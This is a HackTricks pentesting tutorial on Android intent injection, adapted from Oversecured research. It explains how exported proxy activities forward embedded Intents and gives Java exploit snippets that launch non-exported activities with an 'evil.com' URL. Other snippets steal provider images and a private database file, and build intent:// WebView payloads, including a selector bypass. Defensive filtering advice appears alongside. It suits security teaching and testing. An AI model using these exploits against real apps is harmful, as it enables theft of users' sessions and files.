hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>


**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)

# Introduction

This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \
Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`.

{% hint style="info" %}
As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them.
{% endhint %}

# A typical case

Let us examine an example. Fragment of the `AndroidManifest.xml` file

```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```

Activity `ProxyActivity`

```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```

Activity `AuthWebViewActivity`

```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```

`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter.

Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call

```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```

throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`.

But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**:

```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```

and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions.

# Escalation of Impact

In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks).

## Escalation of attacks via Content Providers

Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions:

* it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article)
* it must have the **`android:grantUriPermissions`** flag set to **`true`**.
  * `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**.
  * `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`.

The attacker must set itself as the recipient of an embedded intent and set the following flags

* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`)
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations

An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`

```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```

Example of the theft of user pictures `AndroidManifest.xml` file

```markup
<activity android:name=".LeakActivity" android:exported="true" />
```

`MainActivity.java` file

```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
        | Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```

`LeakActivity.java`

```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```

## Attacks on Android File Provider

This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**.

Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))

```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
```

It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml`

It may look somewhat like

```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>
```

Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")`

The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files.

Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java`

```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```

`LeakActivity.java`

```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```

## Access to arbitrary components via WebView

An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**.

**This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side

Example of vulnerable code

```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}
```

The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.

To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation

```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```

Example attack

```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```

This version contains **several restrictions compared to the classic versio**n of the vulnerability:

* Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored)
* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare

Many developers still forget to carry out a complete filtering of intents received via WebView

```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
    	Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
    	intent.addCategory("android.intent.category.BROWSABLE");
    	intent.setComponent(null);
      startActivity(intent);
      return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}
```

The attacker can specify a non-exported component via a selector

```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```

And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well

```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```

But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration:

```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
```

```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```

We therefore recommend checking that an activity is exported before it is launched.

## Other ways of creating insecure intents

Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it

```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
    byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
    Parcel parcel = Parcel.obtain();
    parcel.unmarshall(handle, 0, handle.length);
    startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
```

# Vuln app

{% embed url="https://github.com/oversecured/ovaa" %}


<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>